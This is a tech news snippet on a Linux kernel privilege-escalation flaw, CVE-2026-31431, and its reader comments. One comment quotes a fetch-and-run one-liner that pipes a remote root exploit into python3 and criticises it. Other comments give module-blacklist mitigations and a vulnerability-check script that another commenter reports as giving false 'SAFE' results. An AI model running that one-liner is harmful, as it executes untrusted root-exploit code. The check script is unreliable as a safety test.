Linux cryptographic code flaw offers fast route to root

Developers of major Linux distributions have begun shipping patches to address a local privilege escalation (LPE) vulnerability arising from a logic flaw. The newly disclosed LPE, dubbed Copy Fail (CVE-2026-31431), comes from a vulnerability in the Linux kernel's authencesn cryptographic template. "An unprivileged local user can …

[Eric 9001]

None of my computers are vulnerable

I don't have algif_aead compiled in, nor the rest of the bloat.

Unfortunately, this doesn't seem like a useful exploit for the user to gain root control of routers and Android devices and the like, as it seems most distributions of the kernel, Linux don't have algif_aead compiled in.

The slop bros of course have slopped an obfuscated exploit that causes any su execution to result in root without a password until reboot (bonus points - instructions that include executing arbitrary python from online without checking; `curl https://copy.fail/exp | python3 && su` - of course, anyone who hijacks the website, or hijacks dns, can put whatever they want in exp for execution), when it should have been this readable, safe checking program someone has released;

python

import socket

try:

# 38 = AF_ALG, 5 = SOCK_SEQPACKET

socket.socket(38, 5, 0).bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

print("[!] WARNING: System allows AF_ALG socket creation. Likely vulnerable.")

except Exception as e:

print(f"[+] SAFE: Cannot create socket. ({e})")

[Anonymous Coward]

Re: None of my computers are vulnerable

I was sure some Linux zealot would comment to downplay the issue....

[R Soul]

Re: None of my computers are vulnerable

Is there any other sort of Linux user?

[Eric 9001]

Re: None of my computers are vulnerable

There are GNU users, who are far more real.

[Anonymous Coward]

Re: None of my computers are vulnerable

Sure, there are people who use things without worshipping them - and understand their pros and cons. Others need to feel part of a tribe, and fight "infidels".

[cyberdemon]

Re: None of my computers are vulnerable

Downvoted the OP not because of zealotry, but because his check does NOT work - It returned "SAFE" yet the exploit still worked.

The workaround (if your distribution doesn't have a patched kernel yet) is to add

initcall_blacklist=algif_aead_init

to your boot args

Frankly irresponsible to release such a trivially-exploitable PoC before major distributions have patched it..

[Eric 9001]

Re: None of my computers are vulnerable

Very insulting - I'm a GNU zealot.

[jake]

Re: None of my computers are vulnerable

"I'm a GNU zealot."

No, you are not. I've known GNU zealots since late '83 or early '84[0]. You don't fit the description.

You are nothing but a troll, and not a very good one, at that.

_{[0] Actually, I first interacted with rms over the direction of EMACS in late 1976 ... but that's another story entirely.}

[Eric 9001]

Re: None of my computers are vulnerable

What is your differing description then?

If I am not a GNU zealot, then please provide instructions to follow to become one.

It's an odd definition to define trolls as those who post comments you don't like.

[Kurgan]

Re: None of my computers are vulnerable

I'm a Linux zealot, and I can tell you that the issue is very real.

A workaround exists, you just need to blacklist the module, if it's not compiled into the kernel. If it's compiled, you can reboot with a kernel command line that disables the execution. I tested it, it works.

So, is it a big issue? Yes, it is, if you happen to have local users with non-root access (or local hacked accounts) that can now become root.

Is it fixable? Yes, if you don't need to use the function (and I've not seen any of my servers using it)

I've blacklisted the module in 30 or so servers in 3 hours, after running a test to see if it actually works (and it works)

Now let's wait for the new kernels.

[Steve Graham]

Re: None of my computers are vulnerable

It runs on my main machine, but the invocation of su still asks for the password. Though it's running a very recent kernel (7.0.1).

[Eric 9001]

Re: None of my computers are vulnerable

7.0.1 is fixed, as is it was fixed in 7.0-rc7; https://git.kernel.org/linus/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

The PoC still runs, but as you've seen, it can't go and patch su, as the exploit no longer works

https://security-tracker.debian.org/tracker/CVE-2026-31431

[Steve Graham]

Re: None of my computers are vulnerable

And on a Raspberry Pi, it just corrupts the cached image of su.

[nowster]

Re: None of my computers are vulnerable

That'll be because that particular code injection is targeting Intel/AMD not ARM. With a little more effort it could.

[Joe W]

Ten lines?

Yeah... sure. Two of the lines are so long that the github code window that opens with the link cannot show the full line...

I'm not voting for the full fixed format FORTRAN but please folks, a reasonable line length can help a lot with readability. Maybe we should train the bloody LLMs on really old code (FORTRAN not Fortran).

[Paul Herber]

Re: Ten lines?

I think a maximum source text line length is something that should definitely be on the cards.

[Dave559]

Re: Ten lines?

I think a maximum source text line length is something that should definitely be on the cards.

Yeah, whoever thought that crazily long lines would be a good idea needs… punched…

[MacroRodent]

Re: Ten lines?

I think they intentionally wrote it that way to demonstrate the exploit code can be made small, thus easier to slip to be part of some innocent-looking file an attacker can persuade the victim to execute.

[Ian Bush]

Re: Ten lines?

Until recently Fortran had a maximum line length of 132 characters - a bit big IMO but acceptable. However as of the 2023 standard it was increased to 10,000 chars, with the maximum statement length increased to 1 meellion (see e.g. https://stackoverflow.com/questions/44990119/why-is-maximum-single-line-length-limited-to-132-characters-in-fortran-standard). Sigh... Whoever has decided this obviously doesn't have to review students' code.

[Claptrap314]

Re: Ten lines?

First semester as a teacher?

Hint: You can put a notice in the curriculum that any program with line lengths >80 will be rejected with no consideration.

[Ian Bush]

Re: Ten lines?

No, in post-teaching Nirvana; I only get the good version of smells like teen spirit nowadays.

My trick was to say they would lose one mark for every warning or error issued by the compiler when warning levels were maximized and standards conformance enforced. For those who cared about what I was teaching it worked like a charm.

[jake]

Re: Ten lines?

"I only get the good version of smells like teen spirit"

Yeah, I too like a 15 year old Irish/Scotch/Bourbon[0].

_{[0] I'm not religious about it ... ALL of 'em have tasty varietals.}

[AdamWill]

RH / Fedora clarification

The bit about RH applies to RHEL / CentOS. All Fedora branches are already fixed. This was fixed upstream in 6.19.12, which has been stable in F42 and F43 for two weeks. F44 has 6.19.10 in the shipped images, but 6.19.14 is available as a 0-day update (i.e. it is available as an update immediately after install).

[Anonymous Coward]

Genuine question: *BSD?

General question: do the FreeBSDs and NetBSDs of this world have so many fewer security issues, or are they deemed so unimportant that they never get a mention on El Reg?

I don't use them myself, but I am considering it for a firewall setup.. Nothing complicated, but I wanted to use something that was not based on the other two OS I use (Debian Linux and MacOS) to prevent cascade failure. Not because I need to, but because I can :).

[R Soul]

Re: Genuine question: *BSD?

The BSDs have fewer security issues because they don't cripple themselves with the crufty bloatware and complex dependency chains that festoon Linux.

The BSDs are very important. They are the OS for vast amounts of core Internet infrastructure: routers, DNS/mail/web/VoIP servers and some CPE. They're also used for lots of embedded systems and in consumer electronics like games consoles, smart tellies, etc. If they were as flakey as Linux, everyone would know about it, not just El Reg.

They hardly get mentioned in El Reg because security incidents involving BSD are rare. These do exist of course. No OS is perfect. However the ones that do crop up tend to be in third party add-ions like openssl, BIND, etc rather than the base OS.

[Eric 9001]

Re: Genuine question: *BSD?

BSD's don't generally get used unlike GNU/Linux, thus there are much fewer people are looking for security vulnerabilities.

BSD's also tend to not really install anything by default (aside from the chock load of proprietary software you can't easily check the security of), thus installs are typically custom and exploits cannot depend on many programs being installed.

You would be much safer with GNU/Linux-libre provided you don't have systemd installed and have a custom GNU Linux-libre .config with only the modules you actually use compiled in (for a firewall, that would be very few modules - mostly netfilter and iptables ones).

[VoiceOfTruth]

Re: Genuine question: *BSD?

>> BSD's also tend to not really install anything by default (aside from the chock load of proprietary software you can't easily check the security of), thus installs are typically custom and exploits cannot depend on many programs being installed.

Name the 'chock load of proprietary software' installed with FreeBSD. Name even one thing.

Perhaps you are referring to things built on top of the BSDs. But that is not part of the BSDs any more than Photoshop is part of Windows.

[Stephen7Eastern]

Re: Genuine question: *BSD?

And even with 3rd party BSD software, most of it has its source code supplied. Many BSD folk prefer to build from source, which is always available.

https://cgit.freebsd.org/ports/tree/

[Eric 9001]

Re: Genuine question: *BSD?

There is a chock load of proprietary software installed by default on "Free"BSD in the "src" tree (you really need the "src" tree installed for it to do anything).

Depending on the computer, the proprietary programs may or may not be executed - but if something is installed, even if encoded in a format that needs to be converted first, it is possible for it to get executed inadvertently.

https://cgit.freebsd.org/src/tree/sys/contrib/dev

https://cgit.freebsd.org/src/tree/sys/contrib/dev/nvidia/LICENCE.nvidia

https://cgit.freebsd.org/src/tree/sys/contrib/dev/nvidia/tegra124_xusb.bin.uu

https://cgit.freebsd.org/src/tree/sys/contrib/dev/nvidia/tegra210_xusb.bin.uu

https://cgit.freebsd.org/src/tree/sys/contrib/dev/otus/otus-license

https://cgit.freebsd.org/src/tree/sys/contrib/dev/otus/otus-init

https://cgit.freebsd.org/src/tree/sys/contrib/dev/iwm/LICENSE

https://cgit.freebsd.org/src/tree/sys/contrib/dev/iwm

There is also this proprietary software in source form (these files have no license). If you do not have a license, you are forbidden by copyright law from modifying to fix any bugs.

https://cgit.freebsd.org/src/tree/libexec/bootpd/hwaddr.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/dovend.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/dumptab.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/getether.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/getif.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/hwaddr.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/lookup.c

https://cgit.freebsd.org/src/tree/libexec/bootpd/trygetif.c

https://cgit.freebsd.org/src/tree/libexec/rtld-elf/arm/reloc.c

https://cgit.freebsd.org/src/tree/libexec/rtld-elf/libmap.c

https://cgit.freebsd.org/src/tree/sbin/dhclient/tests/option-domain-search.c

https://cgit.freebsd.org/src/tree/sbin/dhclient/tests/fake.c

https://cgit.freebsd.org/src/tree/sbin/dump/cache.c

https://cgit.freebsd.org/src/tree/sbin/ifconfig/iflagg.c

https://cgit.freebsd.org/src/tree/sbin/ipf/ipsend/44arp.c

https://cgit.freebsd.org/src/tree/sbin/ipf/ipsend/dlcommon.c

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/parseipfexpr.c

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/printipfexpr.c

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/save_execute.c

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/save_file.c

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/save_syslog.c

https://cgit.freebsd.org/src/tree/sbin/route/route_netlink.c

https://cgit.freebsd.org/src/tree/share/examples/ipfilter/samples/proxy.c

https://cgit.freebsd.org/src/tree/share/examples/ipfilter/samples/relay.c

https://cgit.freebsd.org/src/tree/share/examples/ipfilter/samples/userauth.c

https://cgit.freebsd.org/src/tree/share/examples/ppi/ppilcd.c

https://cgit.freebsd.org/src/tree/stand/ficl/aarch64/sysdep.c

https://cgit.freebsd.org/src/tree/stand/ficl/amd64/sysdep.c

https://cgit.freebsd.org/src/tree/stand/ficl/arm/sysdep.c

https://cgit.freebsd.org/src/tree/lib/libc/regex/grot/debug.c

https://cgit.freebsd.org/src/tree/lib/libutil/kinfo_getfile.c

https://cgit.freebsd.org/src/tree/lib/libutil/kinfo_getvmmap.c

https://cgit.freebsd.org/src/tree/lib/libutil/tests/cpuset_test.c

https://cgit.freebsd.org/src/tree/lib/libc/regex/grot/main.c

https://cgit.freebsd.org/src/tree/lib/libc/regex/grot/split.c

https://cgit.freebsd.org/src/tree/lib/libc/resolv/mtctxres.c

https://cgit.freebsd.org/src/tree/lib/libc/resolv/res_private.h

https://cgit.freebsd.org/src/tree/lib/libc/rpc/mt_misc.c

https://cgit.freebsd.org/src/tree/lib/libc/tests/stdio/eintr_test.c

https://cgit.freebsd.org/src/tree/lib/libpmc/pmu-events/json.h

https://cgit.freebsd.org/src/tree/lib/libpmc/pmu-events/pmu-events.h

https://cgit.freebsd.org/src/tree/sbin/ipf/libipf/printtcpflags.c

There is also files with a proprietary license, that explicitly forbids modification too;

https://cgit.freebsd.org/src/tree/sbin/ipf/ipsend/ipsend.h

You can find more with; `find . -size +1k -and \( -name '*.c' -or -name '*.h' \) -exec grep -EiL 'copyright|public|license|licence|generated' {} \; |tr '\n' ' '`

[Anonymous Coward]

Re: Genuine question: *BSD?

BSD's don't generally get used unlike GNU/Linux, thus there are much fewer people are looking for security vulnerabilities.

Quality, not quantity is what matters here. An infinite army of monkeys with typewriters is unlikely to do a better job than a handful people who know what they are doing.

The folk at Netflix (say) will perform a much more rigorous security analysis of their BSD boxes than the typical Linux fanboi carries out on RedHat or whatever. I'll bet OpenBSD (which I dislike) does a far better job of checking code for security vulnerabilities before it gets released than any Linux distro does.

[FIA]

Re: Genuine question: *BSD?

BSD's don't generally get used unlike GNU/Linux, thus there are much fewer people are looking for security vulnerabilities.

BSDs are used enough that you can trust them. Plus you get things like ZFS without all the licence hand wringing, which isn't a bad thing. If it's good enough to be heavily used in macOS, or by people like Netflix I suspect you'll be fine.

BSD's also tend to not really install anything by default (aside from the chock load of proprietary software you can't easily check the security of), thus installs are typically custom and exploits cannot depend on many programs being installed.

What proprietary software are you referring to?? If you install NetBSD or FreeBSD from their respective install CDs you're only installing open source software. One of the install options will install the source packages too.

I've run NetBSD and FreeBSD for nearly 30 years now, they've never once installed a chock load of propriety software? I also generally build from source (which, I could vet if I really cared).

As for software, on FreeBSD you have the ports system, which is a source code based distribution of their packages, again all available for verification should you care. NetBSD has pkgsrc.

You would be much safer with GNU/Linux-libre provided you don't have systemd installed and have a custom GNU Linux-libre .config with only the modules you actually use compiled in (for a firewall, that would be very few modules - mostly netfilter and iptables ones)

If you don't really know what you're doing, you'd be much safer with a firewall as an appliance as they make things much easier to set up.

There's pfSense and OPNSense on the 'BSD side. I've used both, I'd recommend OPNSense personally but they both work.

On the linux side there looks to be several options, but I've not used any myself so I'm sure someone else will recommend one.

[Eric 9001]

Re: Genuine question: *BSD?

>What proprietary software are you referring to??

The proprietary software in the src tree, including binaries without source code and unlicensed sources.

See my other comment.

>If you install NetBSD or FreeBSD from their respective install CDs you're only installing open source software.

Don't ever believe claims about "open source" without verifying - in most cases where an OS is claimed to be "open source", it isn't even completely source-available.

>I've run NetBSD and FreeBSD for nearly 30 years now, they've never once installed a chock load of propriety software?

You haven't checked.

As for NetBSD, I haven't checked thoroughly, but I found a lot of proprietary software looking at the installer for 5 minutes; https://cdn.netbsd.org/pub/NetBSD/NetBSD-10.1/amd64/installation/cdrom/

`ls usr/libdata/firmware/*/* libdata/firmware/* libdata/firmware/*/*/*/* libdata/firmware/amdgpu libdata/firmware/if_athn libdata/firmware/if_bwfm libdata/firmware/if_ipw libdata/firmware/if_iwi` etc

>As for software, on FreeBSD you have the ports system, which is a source code based distribution of their packages

Merely because the install script is in source form doesn't mean you get the source code of all the proprietary software in the ports tree.

I didn't look very hard, but I found many proprietary programs, most of which did not have the license marked (which makes installing proprietary software by accident very easy, as it's not like the package manager differentiates between free and nonfree programs).

For example;

https://cgit.freebsd.org/ports/tree/editors/linux-wps-office

https://cgit.freebsd.org/ports/tree/editors/linux-sublime3

https://cgit.freebsd.org/ports/tree/editors/linux-sublime-text4

https://cgit.freebsd.org/ports/tree/editors/vscode

https://cgit.freebsd.org/ports/tree/x11/linux-nvidia-libs-304/distinfo

https://cgit.freebsd.org/ports/tree/x11/nvidia-driver-304/distinfo

https://cgit.freebsd.org/ports/tree/graphics/nvidia-texture-tools

>If you don't really know what you're doing, you'd be much safer with a firewall as an appliance as they make things much easier to set up.

>On the linux side there looks to be several options

LibreCMC is a free router OS for the GNU/Linux-libre side, but that has limited router hardware support; https://gogs.librecmc.org/libreCMC/libreCMC/wiki/Supported_Hardware

Maybe if someone asked, they'd prepare a generic AMD64 image.

Typically on proper computers, you would just install whatever GNU/Linux-libre distro that has sane defaults and also install router software.

[keithpeter]

Re: Genuine question: *BSD?

"(aside from the chock load of proprietary software you can't easily check the security of)"

Standard install of OpenBSD on an amd64 intel laptop with legacy boot. The firmware packages at

http://firmware.openbsd.org/firmware/7.9/

are about it I think. The OpenBSD base has to be licenced and source code is on CVS. The packages have various licences but all have source code as you can (if you wish) compile using the ports tree.

I suspect that the OpenBSD devs keep a close eye on firmware behaviour. Where can I find this 'chock load'?

[Eric 9001]

Re: Genuine question: *BSD?

>The firmware packages at http://firmware.openbsd.org/firmware/7.9/ are about it I think.

Not true - there's a bunch of proprietary software in the default installed src tree;

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_at76c503_i3863_fw.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_at76c503_rfmd2_fw.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_at76c503_rfmd_acc_fw.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_rfmd2958-smc_fw.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_rfmd2958_fw.h?rev=1.2&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/atmel/atmel_rfmd_fw.h?rev=1.2&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/urtwn/microcode.h?rev=1.2&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/rsu/microcode.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/rtwn/microcode.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/tusb3410/tusb3410.h?rev=1.1&content-type=text/plain

«truncated - it just keeps going»

>the OpenBSD base has to be licenced

That is not a policy of "Open"BSD, or that policy is not followed. There are many unlicensed files in the base install.

This proprietary software without source code doesn't have a license for example;

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/cyclades/cyzfirm.h?rev=1.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/tigon/ti_fw.h?rev=1.1.2.1&content-type=text/plain

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/dev/microcode/tigon/ti_fw2.h?rev=1.1.2.1&content-type=text/plain

This proprietary game has explicitly no license as the "COPYRIGHT" file says; "This game is distributed without notice of copyright";

https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/games/phantasia/COPYRIGHT?rev=1.3&ipk=TsztSEI1Rc1ahrWNg8y1BMmSr_YLS8AKDNF5WwOHYJg&content

-type=text/plain

There is much more, but their website doesn't seem to be working at the moment, so I'll stop here.

>The packages have various licences but all have source code as you can (if you wish) compile using the ports tree.

The ports tree contains many, many install scripts for many proprietary programs without source code.

[keithpeter]

Re: Genuine question: *BSD?

Below is the comment string next to the (fairly obscure) firmware header for a radio device at one of your locations...

"more firmwares for atu. not hooked up to the builds till they are needed."

So almost certainly not a code path that is actually used in many applications of OpenBSD. I think we will need to agree to disagree about the 'chockiness' here (a header file with a few kb of hex values).

[VoiceOfTruth]

Re: Genuine question: *BSD?

The BSDs do get security issues. FreeBSD had a bunch yesterday.

I am happy to fan the flames here, and state that FreeBSD is remarkably simpler to use than Linux. I have seen Linux descend into very unnecessary complication just to make it more complicated and 'modern'. I can look at a FreeBSD howto or document from 20 years ago, and simple things like 'ifconfig' still work as they did then. Just doing a search why Linux changed from 'ifconfig' to 'ip' shows this result: The ip command is more versatile and technically more efficient than ifconfig because it uses Netlink sockets rather than ioctl system calls.

As though that matters even one groat to Bob the Sysadmin. It also complicates matters if you try to do a search for 'ip'.

I think some people in the Linux world do this to burnish their programming chops, while making life harder for anyone who doesn't have time for this crap.

[Stephen7Eastern]

Re: Genuine question: *BSD?

With recent "tools" like ip and Netplan, Linux networking is becoming more Microsoft like - complex for the sake of complexity, the user being damned. Even Debian is getting a bit out of hand with their network config methods; sans the idiot pox of netplan but still pure systmd-centric config. Fortunately, the old tools still work, even on Trixie. The below article is centered on ubuntu but the method works fine with Debian & other flavors. First get ifconfig back, then ifupdown

apt install net-tools

https://techpiezo.com/linux/switch-back-to-ifupdown-etc-network-interfaces-in-ubuntu/

[FIA]

Re: Genuine question: *BSD?

Amen to this...

I often go 'what was wrong with ipconfig?' when using Linux.

The ip command is more versatile and technically more efficient than ifconfig because it uses Netlink sockets rather than ioctl system calls.

As though that matters even one groat to Bob the Sysadmin. It also complicates matters if you try to do a search for 'ip'.

...and all those microseconds saved get wasted a thousand times over having to re-learn commands or read more man pages.... Grrrrrrr... :D

[Stephen7Eastern]

Re: Genuine question: *BSD?

One of the peculiarities of the BSDs is, it is written and maintained by old school developers who don't change the OS for the sake of change. They also hold dear, that bloat is a four letter word. The MacOS is built upon a fork of BSD and all netflix traffic is routed using BSD. It's in a lot more places than is readily apparent due to its stability and zero strings licensing model. When the BSD devs do add a feature, it is in the interest of users and the OS and never a marketing dept. A pity other OSes believe in the opposite. But BSDs are among the highest quality OS you can use and their licensing has zero restrictions. The day I can run my favorite browser on it will be the day I switch my daily internet driver to FreeBSD/XFCE instead of Linux (it will run chromium but not my fav fork of it). Yeah, I'm a huge admirer of this BSD and it was my first love long before Linux.

If you are interested in using a BSD as a firewall, look into OpnSense or pfSense. I would normally highly recommend pfSense but the direction the CE has been going the past few years tends to be restrictive. For instance, if you have a few spare hours in your day, attempt to locate the pfSense download link on their site.

I've never used OpnSense, but it is a fork of pfSense when the devs split. Though I still use an older version of pfSense, I will eventually switch to OpnSense when support runs out - especially after seeing the awesome woodpecker mascot of the current version. I currently have pfSense installed on an ancient HP Elite I5 laptop, with an additional nic card in the express slot. There is zero bottle neck and all traffic zooms through a very complex setup. Tip: if you go the laptop route, you have to almost close the lid until the monitor shuts off (because there is other method to shut the monitor down). You'll also read online about installing the firewall as a VM. This is extremely tempting but I wouldn't recommend it. A firewall is built first and foremost as a security device. As such, it should never rely on other complexities in software that was not built with security as the top priority.

https://opnsense.org/

https://www.pfsense.org/

[FIA]

Re: Genuine question: *BSD?

I'd take a look at Opnsense for a firewall.

I used to run FreeBSD for the firewall, but the nice gui just makes it so much easier. :D (OPNSense is FreeBSD based).

The BSDs do have their own fair share of issues, it's complex software after all.

Plus, a lot of advisories are in the software rather than the kernel, when that's shared between GNU and the BSDs then the same issues can often arise, eg openSSH issues.

[Anonymous Coward]

Re: Genuine question: *BSD?

In my days I built lots of Gauntlet firewalls on BSD. It was the cheaper option for companies unwilling to invest in a SunOS pizza box. I forget which firewall that was, but those machines were beautifully engineered, almost art.

The only problem with those was that you had to disconnect your terminal before switching it off as you would otherwise issue s STOP to the box with no screen to notice it..

[Anonymous Coward]

False advertisement

"Developers of major Linux distributions have begun shipping patches to address a local privilege escalation (LPE) vulnerability arising from a logic flaw."

And also what cpu.fail mentions "Most major distributions are shipping the fix now.".

I'm sorry this is false advertisement and there must have been miscommunications.

I tested the exploit on up to date Debian 13 and Ubuntu 24.04 and it still works and at the time this message is written, with the latest kernel available to date.

Most people run LTS distros in production.

Also a lot of distros didn't build the mentioned module as a module but as a built-in....

It is false advertisement IMHO and put people in "danger"

[Wmbt]

Re: False advertisement

There is no patch available yet on RHEL, probably not Ubuntu or Debian already. There are mitigations, blocking the functionality at boot works well and reliably, and allow listing (fapolicyd) works if configured correctly.

Unfortunately, neither is as simple as patch, reboot, coffee.

[nowster]

Quick fix

Quick fix if your kernel does not have this functionality compiled in to the kernel itself but has it in modules which automatically load on demand:

echo "blacklist algif_aead" >>/etc/modprobe.d/blacklist.conf

echo "blacklist af_alg" >>/etc/modprobe.d/blacklist.conf

[Anonymous Coward]

Technical write-up site needs random JavaScript - FAIL

What garbage is this when the linked technical write-up needs you to allow random JavaScript from several sources in order to display anything at all (including http (for goodness' sake!), not https, content from the copy.fail site itself (which, even though that site also lusts for JavaScript, is near enough mostly readable without))?

If you care the slightest about security, it's pretty much a given that you are running NoScript and only trust things very grudgingly.

The HTML source code of the xint page is hugely obfuscated and there's no way I'm going to trust anything like that with any free range to potentially do something malicious (like, I dunno, try to exploit weaknesses to break out of your browser sandbox to try to run some 10-line, 732-byte Python script that then gets root, just as a purely hypothetical example…?)

[Alan J. Wylie]

A quote from Greg-KH

Subject: Re: Coordinated Disclosure in the LLM Age

We (on the kernel) are seeing duplicate reports of the same issue from

different groups within the time period it takes to get a fix merged

(i.e. just within a few days).

[Anonymous Coward]

Only amateurs suffer from local privilege escalation

We, the pros, address the problem at the root (no pun).

In the systems that I'm responsible for, only fully privileged accounts are permitted. That successfully prevents anyone from gaining higher privileges.

[I could be a dog really]

Re: Only amateurs suffer from local privilege escalation

To the downvoters, I strongly suspect that was a joke - but as an AC you can't pick an icon to label it as such.

[Anonymous Coward]

Re: Only amateurs suffer from local privilege escalation

> I strongly suspect that was a joke

The fact that you had to point it out does give you an idea of the type of public that frequent this site these days. And those were the ones that could actually figure out how to click on the arrow. The others are probably searching for the Any key.

[jake]

Re: Only amateurs suffer from local privilege escalation

Look up Poe's law. Read/act/post accordingly.

https://en.wikipedia.org/wiki/Poe%27s_law

[Anonymous Coward]

Re: Only amateurs suffer from local privilege escalation

> Look up Poe's law.

Yes that's what I said. The internet is full of nutters, just like societies at large. It's just that on the internet they're visible to the general public.

[intrigid]

Re: Only amateurs suffer from local privilege escalation

I'm not much of a Linux user, and in glossing over the comment I instantly and audibly loled. IMO it reflects the overall downfall of society that others didn't instantly get the joke.

[Anonymous Coward]

Recall devices under CRA ?

so if the CRA was active, how many devices would fail the 'zero known vunerability' requirements to place a device on the market ( if this had occured after Dec 11, 2027).

it would certainly would need to cause millons of notices from manufacturers to the EU their products are subjected to this. (if this would have occurred after Sep 11 2026)

if no recalls would happen, CRA is nothing than a bunch of words.